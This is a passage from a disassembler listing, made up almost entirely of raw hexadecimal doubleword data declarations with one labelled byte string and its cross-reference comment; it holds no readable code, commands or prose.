0A255C970h, 510E1023h dd 87BBB6F5h, 0A089D1F2h, 0B0EC1A58h, 50370F24h, 0FB09B361h dd 0C02054A8h, 0AD7C5806h, 3CDF4485h, 1831080Fh, 0E3F94F27h dd 4F60020Fh, 2050180Ch, 593F712Fh, 0E107AA01h, 522C4E7Eh dd 0BDFBDE0h, 0EBA179D9h, 714BA080h, 1A006420h, 47EF2868h dd 0A7673441h, 51F51D20h, 643DC0DAh, 0FA322254h, 0D908F49h dd 5F85A2F0h, 0C040D853h, 7A430E70h, 23953AA2h, 8641B700h dd 42693524h, 0CB59D900h, 0E08520B5h, 7087C3Dh, 3B7F43FBh dd 4123B69Dh, 0C1A3DE21h, 0F6D73B1Fh, 0DD721D15h, 2C87C396h dd 283E611Ah, 0F40B039Ah, 0C01316A4h, 3AA2E99Ch, 0CB9E7719h dd 0B6378C91h, 8807EB18h, 1D2C7D4Eh, 0C0E42AC3h, 2964F925h dd 8120EABBh, 33870553h, 69211FC6h, 59A2E561h, 906BA9EBh dd 0FE4D101Fh, 3DA3D0A7h, 0AF908CBEh, 0FE533FF4h, 33218420h dd 0A205D228h, 6E9F97F7h, 0A5714078h, 0B43A8160h, 1F91C7E7h dd 0A0FD9510h, 1548A3F5h, 207B3F50h, 0FC99E1h, 3EFDB7h dd 2E9C37BAh, 2FF923B3h, 5C3F080Fh, 0A0E1C093h, 70BFA20h dd 6D8B7943h, 0B5870909h, 0B435C09Ch, 77512BBh, 7E7F111Eh dd 30FDE02h, 0F820B034h, 0FF9B1115h, 1EAEF20Ah, 24415604h dd 0AA7C11DAh, 0F9F48187h, 1F103EAFh, 35E06621h, 853174FFh dd 413CDA44h, 53E94308h, 0ED6F809h, 0C4370287h, 40BC712Eh dd 1D419260h, 3A5D9F08h, 448021D5h, 38A66076h, 0A5FC2D41h dd 0CB34F400h, 0CD56E184h, 187060DBh, 0F04E1A2Fh, 511E1C90h dd 0C1072BD8h, 208AABA9h, 0A1F67940h, 0B2504245h, 0CCA520C5h dd 449096B7h, 0CAD3AE09h, 1C48B87Bh, 0F7C0FECh, 0F4E3222Ah dd 0FAE85243h, 930760CCh, 249928DBh, 9BC87980h, 0DCD50BDAh dd 80D53967h, 0D642F5B2h, 44722BB2h, 0C9A56220h, 5640041Ch dd 7C28CD74h, 55C48841h, 28181033h, 2660E090h, 0F038FC8Eh dd 0AD9C3E96h, 0ACE6F800h, 99EE1D6Fh, 0C3A218C0h, 38E7B3F7h dd 9F3C3E32h, 1F31267Ch, 0A020211Bh, 8FEF159Bh, 44B7203Fh dd 8C83830h, 3C2BBE98h, 404B66F9h, 0D7277605h, 0FA6078AFh dd 0A8D88085h, 0E32584FBh, 6E1020AFh, 0FE5E69F0h, 84609B57h dd 0E2283482h, 0A210AB0Eh, 0F93F288Bh, 4204B2Ah, 87C8D850h dd 60D62B2Ah, 76ABDA80h, 47CD2484h, 0C0DECA6Fh, 11637178h dd 0F13E7461h, 0A3072h, 0CF31A8B7h, 8F3C2AE3h, 0E474C187h dd 0A0301D84h, 0D41540ADh, 0E240A6A5h, 40C01606h, 0B97DA929h dd 9A888F6Fh, 2E3B702Fh, 3FA4F811h, 40B80EF2h, 0BF08A8E8h dd 54CAB466h, 40500BF5h, 2308FA7Eh, 1EE43ED0h, 4C0BC2Dh dd 3C9EECE7h, 0FD52B27Ch, 3B948120h, 405E84DBh, 80FD4614h dd 4FAF93E0h, 8A40A257h, 0C578A076h, 0C87E217Dh, 0A531CA50h dd 7C043F20h, 7C39DDECh, 0B781C07Eh, 0D4A0FE08h, 0AB1DE1ECh dd 430040D7h, 0E20F5CB6h, 0E30A018Fh, 0A7105032h, 2728413Ah dd 38409CB9h, 0BF2CFC00h, 746F45Ch, 40DDB864h, 0A0FFE0D7h dd 0A00BD6Fh, 9E96D397h, 6E76EDC3h, 33E851E4h, 0B060FF05h dd 69A02021h, 0F739000Fh, 257A32DDh, 94E1C0B2h, 0DC7C95BBh dd 0FE2058C2h, 0C39E0763h dd 0F806A385h db 7Ah aNU1 db '}î1',0 ; DATA XREF: ___:off_43811Co ; ___:off_438134o dw 0D24Dh dd 4898E627h, 78C71CBAh, 0A203B680h, 25681856h, 6B55A843h dd 6400E676h, 774CF593h, 0A06DA1h, 0AF865F08h, 0BCE7B4B8h dd 9C706B00h, 0C21C8FAAh, 8A080120h, 76FB2DBh, 8880C651h dd 15F2BE1h, 843150C0h, 64A0DCh, 0B8A19541h, 0DCECA06h dd 462A6005h, 0C860C252h, 0BDC551Eh, 0F045022Dh, 0FA198000h dd 96002AFEh, 0D498ACDBh, 0C7D88B75h, 0B0F40568h, 0EF6B518Ah dd 16899C00h, 5FB8209Dh, 28090E8Dh, 5100173Ch, 0A194868Ah dd 0D4E85839h, 3005CF0h, 0AC20A36Fh, 214A66h, 60935B50h dd 979B33DBh, 980A8B00h, 173F91F5h, 29AC0009h, 511C3458h dd 86055C89h, 0B208AA6Fh, 0C57AA420h, 0CED8A872h, 6AEB30E2h dd 1A8C6E18h, 0EF90C0A0h, 55530A03h, 0DE482EC5h, 390B0EA8h dd 56010147h, 716CB24Ah, 0E8C8060Ch, 83DCD00Bh, 10288D65h dd 0C3131885h, 8158D7CFh, 81148C5Fh, 11BBA261h, 5C2019D9h dd 0B2090903h, 280061F9h, 0AFEC33D2h, 0D8DF6801h, 21FDD4F4h dd 3085EFCh, 0D342C3B6h, 0D9C09F26h, 6E1D7C1Ch, 0EA807269h dd 9345FDFh, 0E9E20071h, 0FA686D9Eh, 5C333162h, 0AAA15093h dd 5CB4155h, 0A9DC1487h, 389D3661h, 3085E450h, 0EA08E103h dd 98F46005h, 0C9A113h, 0BED4D6BAh, 0A550689Fh, 80C0EDEAh dd 0BF116F1Dh, 0E5E0F980h, 18C06902h, 0BCD66180h, 0DF37E99Dh dd 0BBC0C01Bh, 3A2FDB3Ah, 0E73C8B30h, 7A86A403h, 57CF2C62h dd 881CC019h, 0E1D09CF4h, 0AD47019Ch, 81D655D1h, 39BF99Fh dd 0E6CE6EBEh, 180D1822h, 81EFE9DDh, 38069E69h, 7B031727h dd 0F3821BA0h, 0D1F1B8A4h, 0B0BAD9A9h, 0CCB98CA1h, 21C60FDAh dd 6A457042h, 0EF600CD1h, 191C5A90h, 20D869F1h, 38DAD0h dd 0B22AE0D5h, 1BB0E7F4h, 250828C5h, 451D600Eh, 704163DEh dd 4780D640h, 0A669C841h, 0BB09E0h, 0B7CD2808h, 26DC5C23h dd 564801FCh, 0F39F01DFh, 41378B21h, 806AF2E3h, 8E72A3FBh dd 4BACA8B0h, 0A0980E4Fh, 38B90C66h, 0E4CE208Bh, 885A0B29h dd 5F389200h, 689B7E51h, 0D88091h, 81F4630Ah, 0B9246E40h dd 654024FFh, 3C8B1AFEh, 0F08C59C9h, 5E48DE72h, 0D2824B12h dd 7834104Eh, 28663F61h, 39845D4h, 616AFFF5h, 6800F28Fh dd 672C5412h, 904BF45Fh, 0E1050160h, 0B7C7076Ch, 1CFE0DFh dd 4913D8E9h, 57AD20C0h, 0F216BA0Fh, 82190572h, 1FC0CCE7h dd 0F98F0FE4h, 0D8A0879Dh, 1290BA96h, 0AC4C0852h, 956E5581h dd 58249C09h, 4D0CA9A8h, 942A6423h, 4429740Ch, 7388F09Dh dd 8665008Fh, 0D06067AAh, 630C1A08h, 0A8449B07h, 48172887h dd 0D63F05FCh, 0EBD2DCh, 3138CD80h, 1C804AD8h, 0A97214F1h dd 0B401A019h, 24E2DB06h, 0EC188825h, 0BA9B421Dh, 0E784888Fh dd 82289024h, 60FC84B3h, 130B380Ah, 5407F025h, 1E9D9D6h dd 62D8A100h, 58EDFC50h, 6040F3ACh, 0EF0C7E7h, 778267A7h dd 0D5C62455h, 0A8801964h, 20987C24h, 0AC2950EEh, 0D60190B5h dd 67A14531h, 333098F2h, 5256043Ah, 864F82h, 316A8170h dd 80B553ECh, 0F91AEB08h, 0E4F22A80h, 135C1B27h, 40770764h dd 0D651A96Ch, 4490DE6Fh, 3E38EEF8h, 4897B15Eh, 1FCB75Dh dd 2688C040h, 0D0E70525h, 8806F092h, 7DCC0B31h, 24843DC0h dd 0B9531C09h, 0B09CBC00h, 12ADA06h, 0B3283CE5h, 79DDC4BDh dd 2284FFD1h, 3C9D318Dh, 0BF43B018h, 82721C11h, 1121C72Fh dd 0FD784DCAh, 0A6A30C49h, 0AF16213Ch, 0C13B4988h, 99C0B78h dd 554AC4DFh, 0E5E609E0h, 6EDDC05h, 0A97C9C18h, 2D89906h dd 0FE201E50h, 0D6B40A0Eh, 42303A91h, 302C169Ch, 881AE2E2h dd 6F3B0203h, 19448B1h, 0F00408D9h, 604C1FD6h, 2389434Ah dd 166C88CDh, 9C46AA6Eh, 1AE5C3C1h, 10855E08h, 0FC57C43Ch dd 0CA75261h, 46D8AE25h, 3C94291Ch, 0D8CD1B8Ah, 5D40D880h dd 0EE26D29Fh, 0E7D51265h, 39B4029Dh, 304ED00Bh, 1E53AB10h dd 6158568Ah, 8DEFB03h, 1094AE93h, 88E98DFAh, 1B04EE7Dh dd 7FFC219Dh, 0CFD5318h, 0BD0484EAh, 0C0053EA4h, 0D7F66C87h dd 0A6659031h, 54D65384h, 0DFB8BB08h, 0E920AF44h, 8247CE6h dd 18A0E48Ah, 0C4321329h, 0BEC42B91h, 997532BFh, 0E831886Ch dd 7A446C07h, 6024609Fh, 7904C278h, 9102A3Eh, 7A5C2B18h dd 0AA2B049Ch, 0B88A2220h, 0A84B4F84h, 43E6E36Ch, 8FFE10EBh dd 10E28DC8h, 0ECD89936h, 43073C4Ch, 88BA23ADh, 0A86E43FBh dd 62AAC4E1h, 487039BDh, 0BD50FB78h, 79C486F4h, 8E324AD3h dd 86428338h, 6E4FF52h, 0FB7CE894h, 0E4FC8311h, 4A552C81h dd 229C308Bh, 0FE60A48Dh, 0FA084E19h, 43E5E1Ah, 0EE448211h dd 90D8C69Ah, 0C0266928h, 6208AA8Ah, 9CB078A0h, 1A42E19Fh dd 10BE9623h, 0EF89DC68h, 36CAB039h, 3CE91144h, 8081C082h dd 0D85CF011h, 19B8213Bh, 5BC64611h, 0E12E7965h, 6711B468h dd 0F11E0B75h, 74020681h, 0E8C4B863h, 0B1D9A20h, 3758077Eh dd 7A874401h, 52C07077h, 0A3A0D617h, 0A5FACC23h, 0FE31DCD1h dd 1B14F028h, 99CA24F6h, 842002D6h, 2485BCB6h, 0E5DC4397h dd 9940EE0Bh, 49DA5390h, 6582460h, 7BD83749h, 832C28B0h dd 5F0BF454h, 21009052h, 7F048740h, 9A4B57B9h, 70923093h dd 0D290A88Dh, 5F00D050h, 19F3501Ch, 0E7C20BF9h, 0AA1E9448h dd 3B9414B0h, 0E0E2893Dh, 62016B46h, 7C749D10h, 5785361Ch dd 87F06190h, 60144A50h, 43242CE4h, 6A0238DCh, 8796A369h dd 0AB09CB0h, 0C0AEAC53h, 0A68405C9h, 6204831Eh, 61C29A16h dd 1351F4A0h, 29C6B0Eh, 0EA1DE5D4h, 0E474A890h, 22A46953h dd 3F640972h, 94003315h, 7908E629h, 29C03490h, 2C64F95Eh dd 1F5900ABh, 3FD16E8Bh, 1C94ECF6h, 0BFC35406h, 145F07E1h dd 10E9C8DCh, 1CE44C02h, 8B63A422h, 0B12CCB68h, 51BB19B2h dd 0CEBA991h, 0C16A5970h, 3C1C5063h, 5F1A0072h, 27E255A6h dd 79787A81h, 0E320CE18h, 4B9E5311h, 0E7F44085h, 689FD4A0h dd 0E1825612h, 2BC700C4h, 50A7F8F2h, 5469F290h, 0A5CE098h dd 0E60A8B9Dh, 0B5F40E8h, 30A99863h, 170510AAh, 9C8288A3h dd 69188E63h, 0E0B14724h, 7D9C924h, 0B0D2C815h, 55198435h dd 4D2D48A0h, 0A08A444h, 6FB7CCADh, 0E72782C8h, 0E40A8540h dd 59010C20h, 0C6AF60FDh, 0A0B49AF9h, 0E6908242h, 2C4CE040h dd 811857F1h, 0EACF616Eh, 70AEB4AEh, 51E16800h, 0A16E2B6Dh dd 82D867A8h, 0A5CC4899h, 40408A4Ah, 0DC98E24Ch, 3B7C40Bh dd 551480F1h, 549B5912h, 651414BEh, 58DCB0C3h, 6B60C814h dd 821338B0h, 480FE59h, 18DA130Ah, 40568131h, 8EFE6B5Ch dd 62901B6Eh, 0FB6EF08h, 85ACD7C2h, 5858ECCAh, 8AB90204h dd 0A88709A5h, 55F90150h, 0F0F72506h, 253BEC81h, 6A40824Bh dd 0AB87659h, 416B162Ch, 46773A70h, 81686421h, 0ECA8187Dh dd 0DB12F5F8h, 5442BFD6h, 204D7459h, 0AB7E52CCh, 346991C7h dd 5240512Ch, 310FA86Eh, 3E66128h, 3F0610BCh, 1B719CCAh dd 3DDB7AC1h, 6D135666h, 33A080EEh, 48DF1E59h, 0B1F0635Ch dd 1210CEA1h, 4A538265h, 0BF2C6BCCh, 1E05C993h, 7C42A2Ch dd 0CFDD441Fh, 0C65827E6h, 293519B8h, 781E415Bh, 24888C68h dd 0C48C983h, 212976D8h, 0B0264825h, 0CC8DF80Ah, 2972F682h dd 12C7A25h, 4144202Ah, 498DE7F3h, 80903930h, 8382C219h dd 8508A880h, 6F02094Ch, 1C00C4E9h, 440BE25Ah, 0C648DC62h dd 1660785Dh, 20283E5Ch dd 0E9D565D0h, 1402D499h, 68E28212h, 0C469B3Ch, 79A5503Dh dd 0AD4C1DF9h, 52401A04h, 0E4E26111h, 1400D2F2h, 0C247CDCEh dd 59988318h, 0E10FC714h, 0B387DEF6h, 62BB6098h, 58EF7044h dd 8E834AAh, 274351C8h, 4669E22Dh, 9EA01838h, 3E4414A1h dd 83840893h, 0CC404F2h, 0F33D04F3h, 53DEF901h, 0E4ED6A19h dd 10487D46h, 388109F4h, 9B70604Ah, 0AF241662h, 1C2003C5h dd 590F195Bh, 0FF5434A1h, 1880F792h, 5A6E387h, 280C81F2h dd 0A9B01C1Fh, 9A400720h, 0B0C88464h, 0AB00E020h, 0D031754Dh dd 92FE020Eh, 0F8884EC4h, 0F029167Bh, 82E2D408h, 0CBA06061h dd 495F40E8h, 5AED79C3h, 68210119h, 6DA0A729h, 78383442h dd 4E40D0A8h, 35D6E1FBh, 0A69FE0DCh, 0B4AB58F0h, 0A3C79DC3h dd 110353F1h, 0FE9B505Ah, 92311E06h, 108114ECh, 14A73B1Eh dd 243E28CEh, 0B8C6A595h, 30726278h, 0DE2E5129h, 5516A704h dd 58A28703h, 0B094B80Fh, 927224D5h, 5C2B7490h, 74715981h dd 6A0E812h, 30521960h, 0EB6E3F09h, 0E714A199h, 96E06A71h dd 0AC593E1Fh, 14A591E0h, 0A80098A1h, 0ED36D11Ah, 15C0BC6h dd 777E5383h, 2824ECC0h, 1EF82204h, 12F0E1D6h, 9F204155h dd 2834ABB7h, 4F8A0590h, 0C0813AFCh, 8428E146h, 37098058h dd 50008BAAh, 49044DCBh, 54DCB604h, 189539D6h, 50EB580Eh dd 0E413097Bh, 0C8211002h, 6834D728h, 12007C8h, 0DA70400Ah dd 7CA36605h, 0DE1C8047h, 6E842258h, 0CD862F60h, 143CB0D1h dd 0B4297BC9h, 4334C80Ah, 4008C2FFh, 8C1A0CD6h, 88A0DFE8h dd 928331CFh, 96270440h, 986610B9h, 2060A20Dh, 9CDB6724h dd 68B1059Eh, 1506A69h, 0E7096BC8h, 0F43701A1h, 3051024h dd 0C649022h, 0F800558Bh, 0AA5C66F5h, 38DBC451h, 102DD6B4h dd 0A19FD002h, 1084E213h, 5E409D9Eh, 0DE13347Fh, 24851208h dd 0A5C08028h, 0B8B638B9h, 6765348Bh, 67750248h, 0FCE05D1Ah dd 408843A5h, 5F10C405h, 84544952h, 195E8F74h, 434620AEh dd 20186008h, 289961DCh, 9C120764h, 922B72DEh, 0E841D211h dd 0D47205h, 5BC2A016h, 249FFEDCh, 0B074B80Bh, 0F8776939h dd 0CD72F114h, 8092000Ch, 0C29E5950h, 0A3822D66h, 39E40080h dd 8AF85D22h, 10E84548h, 871804D5h, 0F1DEF9E1h, 0B09886E8h dd 389D9031h, 29807F82h, 4DCF225Eh, 410AAD92h, 5CD2D161h dd 0B0EE207h, 9A4C2329h, 4785CFA6h, 0D800807h, 0DC97D684h dd 1010BA86h, 1E1B56B7h, 830CE472h, 0CC7921A5h, 0F5412910h dd 6313960Fh, 52B645A9h, 0F0EE3C92h, 0A77D8h, 0D2CE4059h dd 0E7F69B6Ah, 6A07250h, 1C4A62EAh, 0E40E441h, 6900BDCBh dd 9F0739E3h, 0DE509D26h, 0C355D461h, 977E6462h, 0B154D578h dd 0A1A0C8A0h, 4E012687h, 0F42EBCEh, 0DC64A4C1h, 2A9702B4h dd 6EDFB186h, 80004851h, 5F245418h, 0A8B0CDBh, 89837FCh dd 485264AAh, 53A40501h, 70DEF3EBh, 4088C8AEh, 0B4093DCh dd 0A03AE145h, 150A0EA4h, 0E005D49Ah, 68114185h, 9430782Dh dd 20242F7Ah, 48227827h, 9F537582h, 0BB08841Ah, 0B891B409h dd 0AD01E2E5h, 10382FD6h, 0C8125Ah, 6F55E350h, 1B481FE2h dd 0A01C2560h, 6192E974h, 0DEC04481h, 0F9DD800Eh, 833C64BCh dd 0BAA5F890h, 0AC074867h, 3708AC49h, 342C790Dh, 0DC561101h dd 29039F26h, 9FD87946h, 4D008010h, 614B6509h, 0DD30CEF3h dd 0DCEB30A1h, 17410325h, 0C678AA0h, 0ED1C1FB1h, 9EAC2C63h dd 8554D702h, 40405468h, 9455DDA1h, 1602130Ch, 288211DEh dd 7C38F4B5h, 0CB690B0Bh, 2C919F51h, 631C43A0h, 87389CF0h dd 50731E24h, 0A8D7293Ah, 28A1371Fh, 9D38154Ch, 0E7A08C10h dd 9E29D89Ah, 8288E8ABh, 0ED79C253h, 202D9B19h, 61502724h dd 256F5F64h, 0ABFAE044h, 0A4CEDF12h, 0AF5D440h, 4A5147B6h dd 751CC8DCh, 0D9823B37h, 805E3545h, 3A513024h, 7EA50EEEh dd 6448B0B5h, 845EAF4Bh, 0FCC7A10Fh, 0ECD90B00h, 28CAC187h dd 49B01F42h, 0BA849C19h, 83C47BF3h, 298490A9h, 3C3E2DE6h dd 4999006Ch, 0C0BE5F51h, 8A190039h, 7CD321C7h, 0EE00B4CCh dd 0BC504A03h, 603BB1C5h, 0CD1105Fh, 1A0D5AB9h, 4022A2D4h dd 1E17F7F0h, 4988372h, 0C09705EAh, 4647682Bh, 82A6E907h dd 49C06948h, 77733Bh, 6E074C21h, 41D539C1h, 0F484B6Fh dd 24E900BFh, 749AEh, 50FE903Dh, 6731CEBDh, 0E8B1B300h dd 0EAB09D64h, 1F22F01Bh, 2775DC7h, 4A047339h, 5AB0AB01h dd 4180C180h, 54AE4ECDh, 4F0E8600h, 8A705FCFh, 0B68507A5h dd 309E3946h, 0E331576Ah, 0E14E8800h, 80D5DE52h, 6D5E07FBh dd 8EEC1418h, 9506FD8Fh, 63231136h, 201B18FCh, 0C3803DDDh dd 1E1D797Eh, 0E59C6FEh, 6A036A9h, 67FCC4EAh, 283AFA30h dd 0E01809A7h, 0C0A7F98h, 261BCBF8h, 0E2180730h, 0D46197C2h dd 0A44B1C32h, 26306037h, 17A9083Ch, 60EA63CFh, 87CDDA3h dd 3B23C119h, 2D134829h, 707A4481h, 2303EA5Fh, 0B0F3BCA4h dd 77210049h, 3D839C46h, 57005126h, 9760C47Bh, 0E4F5CB0Ah dd 0EB0900D1h, 6B805CA9h, 9301E744h, 0A1DCAED4h, 70802D91h dd 0A0224508h, 0E0DEFE38h, 0A219B0Fh, 0EE0F1020h, 1324011Fh dd 6ED01830h, 0C8C3009h, 0DB9EFA11h, 7F0033E2h, 114819A3h dd 0F031A01Ch, 370A441Bh, 501E3278h, 4A0F4916h, 0F49A6FB5h dd 48C078D8h, 6C2F43DEh, 8C9E0679h, 1803DAD3h, 1099481Eh dd 5F284618h, 17A78B7h, 0BE2E5B17h, 0D4951909h, 0D21874D1h dd 14827ECh, 3AC7005Fh, 0F95B1523h, 4203D8AFh, 12E59E2Eh dd 4963A896h, 6E04183Dh, 3FE918BEh, 0CE19078Eh, 20A834C2h dd 94930A2Fh, 416A601Fh, 0E8D77B06h, 1A8C2180h, 3830200h dd 0AE9981h, 71FDBB35h, 0A0A8480Dh, 83C1DE60h, 0EBF84C7h dd 0DF9858E1h, 12914900h, 1006FE18h, 4ACC2BDBh, 27810070h dd 9764B22Ah, 0C90014F4h, 48FE2C9Dh, 3007FC98h, 0AA789461h dd 1C0F72F2h, 0C017895Bh, 14EE1333h, 56C71862h, 4BDB40B3h dd 2A4F5B0Fh, 0F11E200Ah, 96CB63h, 0C63984CDh, 0A6900D7Eh dd 0F48548h, 8E95D64Dh, 6DFCFA3h, 8C0B1158h, 180080A8h dd 0A0E01238h, 54D519h, 0DA994BFDh, 261EB2D1h, 975F0201h dd 0CBE82CCDh, 2EB35883h, 180004C9h, 2C692B7h, 0C1BC052Dh dd 0B88F834Eh, 2E884063h, 9FF565CEh, 0D30090D8h, 6A3DC955h dd 477F0AD7h, 17A622DAh, 1FD30015h, 627485ABh, 5F4880D8h dd 0D6DF40DEh, 0F916AF20h, 0CCDD40E4h, 6AD84C18h, 0EC3F9700h dd 0F6ED1EDEh, 6F84A8CAh, 289188CEh, 4FCC7500h, 9479D7D6h dd 980A01E1h, 5ACBAD55h, 75FDD4E2h, 72747CA8h, 42496044h dd 75951FC9h, 0EC86421h, 84DFA88Bh, 193651Ch, 4820721Dh dd 885DC00Bh, 60119E14h, 0CB18F058h, 3512AF95h, 2400BA44h dd 2823ED48h, 12179016h, 0FFD5890h, 8229DFACh, 54B8218Ch dd 3B5A5012h, 45653C00h, 1EC5EEh, 9747E73Eh, 0E329FC2Ch dd 20915F29h, 3ACEDBC1h, 5D75DD0Ch, 87BD7400h, 0BFDF8561h dd 22F0C1DAh, 203A4D86h, 8B0EE1B8h, 2983F9BCh, 84500A4Bh dd 2081B609h, 25281898h, 0DFED00EFh, 0C70E04F9h, 0D26E6E9h dd 69D4029h, 5EB8EFC0h, 617F02ABh, 24251934h, 0F80AD401h dd 1F2E7003h, 8092773Bh, 5039BAC4h, 6A6C9848h, 3AC68D5h dd 491C77E1h, 0F1781003h, 0C85E6A55h, 69972438h, 44120807h dd 785655C0h, 9E41600h dd 0BE3FA7B2h, 8D1700F1h, 39E5F4Fh, 3534BAD3h, 6484E828h dd 78FA3404h, 6F55F030h, 36F45E10h, 5780E4C8h, 230D5618h dd 0D7B8015Eh, 0C67EE9C1h, 26F1CBAAh, 0FAF42091h, 0E2C47450h dd 9300CB0h, 1510712Fh, 0F93E3886h, 89FF3D06h, 1A4D084Ah dd 0D6D00CCh, 999449A5h, 692671E0h, 18024876h, 204023C3h dd 0E001CE8h, 0D8958017h, 0C110FDB7h, 2EB8BB20h, 75F4400Ah dd 0C872437Fh, 0E5FF53Ch, 0A03F1F24h, 0E71A3613h, 0B0A40399h dd 34018E5h, 281F82D8h, 9D620C03h, 0B06D7463h, 7BF5C3h dd 4C192AB3h, 42D15D6Fh, 7DD20801h, 0C03458FBh, 5720DCh dd 0D57487E3h, 61C2FDDAh, 13DEBC09h, 6D3A80BDh, 0E06B91h dd 0DF2BF9C3h, 294445D9h, 3750C500h, 7A80AB1Eh, 406B00EAh dd 0F946181Fh, 29C8365Fh, 59518015h, 0A04FCBFFh, 50DA6330h dd 0AD7A19h, 0A2886BE6h, 6898BE53h, 9701200h, 8BCACC42h dd 7B9700DDh, 0D2439A5Bh, 360301EBh, 5CC52EF2h, 0EC6D8878h dd 0DD17002Ch, 1FF39160h, 2A135FB7h, 0E90034DBh, 4AE5AB19h dd 1B5A0324h, 0BE9251F4h, 0B4D66BF8h, 8ED0E40Fh, 9A9F4081h dd 3BD8439h, 0F8AFCCA2h, 0BCF8BB60h, 0DA07F6D8h, 0A61E5668h dd 0BD1FD5F0h, 0ACFC07CBh, 819732h, 64D7B9D6h, 5F35A31Dh dd 0C36C9CC0h, 56B5BC4h, 0DF8A779Fh, 6EE580E4h, 0E700FE92h dd 0A953657Ah, 0F83E97F5h, 85EB01CAh, 5CFA4371h, 57B5E498h dd 0F8D8C800h, 0D7CD3883h, 0DE7B00F6h, 0A3AF6E85h, 8011AD5h dd 0C7ACBB40h, 8F6095B3h, 0C0A607D3h, 0D03A2880h, 43FE980Fh dd 6D45FB14h, 2EA824CDh, 4A6BF000h, 622A15h, 9D403C55h dd 5C5E3A54h, 3502B1EEh, 750DE2AAh, 8DD65DC2h, 673ACB0Eh dd 0DB707C15h, 1AD337h, 19A4F849h, 43FBDD1Bh, 36F5DE02h dd 4046DAE0h, 59D0A5h, 0D411EF4Eh, 0B79261C3h, 0EEFAF700h dd 6A5247EAh, 30840064h, 0DED2FD91h, 0B7070D0Bh, 0DA7C2C0Eh dd 0FB2E7470h, 1FBE00BCh, 33E84349h, 0CD00DF41h, 0A7EE6809h dd 64B4B7h, 0F19B5DCCh, 0FEB229BDh, 6CEC4250h, 0D3F8A377h dd 0A654CC00h, 90C71703h, 7B670070h, 26486528h, 713BFFD6h dd 2A5404D1h, 3490FEBBh, 50145A99h, 1406FAA8h, 0F0483A24h dd 0A0784300h, 72F8CCE2h, 7DF948h, 82BB901h, 7690C73h dd 6AB8538Ch, 70ED303Fh, 0F800ADF7h, 606279BFh, 252D3Bh dd 30C67D9Bh, 4C78F68Bh, 19C4D900h, 0DBB55876h, 440D00D6h dd 0ADD826FFh, 0DE037773h, 600E302Eh, 0DC8885Dh, 7DE306F6h dd 41922CC2h, 0D60C14FAh, 104DF417h, 51E006Fh, 5626447Dh dd 9F01DD24h, 7A5976DAh, 0F420A0FFh, 72B03A2h, 4E99D344h dd 0C8D4F0E8h, 0F3C69D00h, 21B31669h, 0CF4C005Fh, 591C258Eh dd 0B54815CEh, 7BAB4030h, 9F58BE38h, 1287EE26h, 0C2804967h dd 0EC18C23h, 62324366h, 0F36612Eh, 85A0D2B9h, 94AED8FBh dd 0EC3E0B03h, 0E813DA52h, 6D6B83h, 616EAA34h, 9BD958DDh dd 3F7F0198h, 29E83E79h, 80ED887Ch, 0DEC1312Eh, 13D6011Bh dd 36236FAh, 0F9522B5Ch, 0B8608CD2h, 753AEE77h, 0C80500EDh dd 6390CF36h, 547F03C4h, 8D87D6Bh, 2066C799h, 640070F4h dd 1FF91C30h, 28F7D5EBh, 2094C583h, 0DD002ACDh, 6D64A35Eh dd 3DD6FCh, 24C8D5C6h, 0E5CD6E26h, 0BA74C70Ah, 0EA0E984Fh dd 1563E77Bh, 69E886E0h, 0FBD41F82h, 4776C05Bh, 0EEEA34ADh dd 1CC5600Fh, 71AA0094h, 0F6653B4h, 8F1B2BBFh, 0DD5C83A0h dd 2F2469F5h, 0F11C6C4Ah, 0DB39AA80h, 139C0AF7h, 23C9D2h dd 90C2EBF0h, 0D4FD880Fh, 9B0E96C3h, 616E9DC7h, 73EA9F30h dd 8310A02Bh, 55AB3E02h, 0F58B648Eh, 1D2D5AC0h, 7021D301h dd 6D04379Ch, 0DC20DFE9h, 8B130066h, 0E9CB8246h, 0F0FD1DCh dd 60153BACh, 9E3EC08h, 0C09C3D59h, 4834BE80h, 92C66F12h dd 4F0D1900h, 0F8D7504Dh, 0C2350525h, 0C08E540Ah, 0CFA9CC74h dd 1A0058B8h, 551EE94Bh, 21D4AF8h, 12DC330Ah, 9C40C0D0h dd 0E7FF583h, 74156C00h, 0B4CA1C99h, 6F7494h, 81BECF40h dd 0A1CE0AB9h, 7EE0FD03h, 0B0E5E841h, 9D7CD7h, 53F63C36h dd 4FB4385Fh, 0BEFFAD00h, 8C7E616Ch, 1FC30037h, 298248DBh dd 523992A1h, 77BD02F5h, 0E001D062h, 480E751Eh, 0A400149Ah dd 0C98714A7h, 0CA0393F4h, 1990ADCh, 0AB9FFCh, 3466DB6Fh dd 48EB001Dh, 0C3DEBE03h, 53003345h, 907C1F3Fh, 5D15E3h dd 64F11430h, 994C0D61h, 3580B500h, 9DF2327Fh, 0D5B3000Bh dd 3D8D7D22h, 303CEF20h, 0CD49006Dh, 8AF31BEh, 0C9E2006Eh dd 0AB7D4518h, 693CDA5Fh, 0D69C808Eh, 8C4AE64Fh, 0CEFE0FD8h dd 0A440E580h, 8919C779h, 3CA23500h, 8B177182h, 0EE3F01B5h dd 0AC934EFCh, 0DE103486h, 23478E00h, 0D1A75EDCh, 0E7B0A2h dd 0C57CE316h, 0D522E4BAh, 9290CA07h, 0F7A0EC4Ah, 38D87B19h dd 819F74B0h, 14068053h, 0F3635A86h, 88A895E6h, 343A5BE0h dd 5F9C0464h, 0B0C747D5h, 0D944C8C1h, 69800BD3h, 9D0027D6h dd 3BCD25A1h, 47F85AB0h, 2476A978h, 332670F9h, 49AFA0Fh dd 0F2C8E039h, 7C1A8B20h, 84D4007Ah, 58C09D79h, 9E51FDFCh dd 4FC4ECD1h, 0CD3B44F4h, 60875CECh, 24268159h, 467F03DAh dd 1CB2E72Ah, 5C4CB03Ch, 44D000C5h, 4018067h, 3D1D00E9h dd 0D7C7C2C9h, 47E2E103h, 0A3611501h, 736B8613h, 4814B880h dd 0DAF2C7C0h, 0D3B5D9C0h, 323E47h, 4145EE7Fh, 7037513Dh dd 1E748C3Dh, 7D4042A8h, 65609233h, 80E0002Bh, 0A525669Ch dd 62001128h, 696B2D7Ch, 78179AEh, 0A85C1E8Dh, 900B50F3h dd 542ED634h, 2D034BABh, 0E18BF9B1h, 0B2F5F602h, 63E4C02Bh dd 140339CCh, 6EF04D1Ch, 0A02D9B66h, 62AE2Fh, 403E3A0Fh dd 0ADD1E60Eh, 0BA00267Eh, 22E75B84h, 0EF06C7h, 0B14B8E38h dd 15C512DBh, 0CAE9E600h, 0E48CB00Eh, 2C110740h, 19949C9Eh dd 0CE75AD80h, 46002737h, 7B71CC31h, 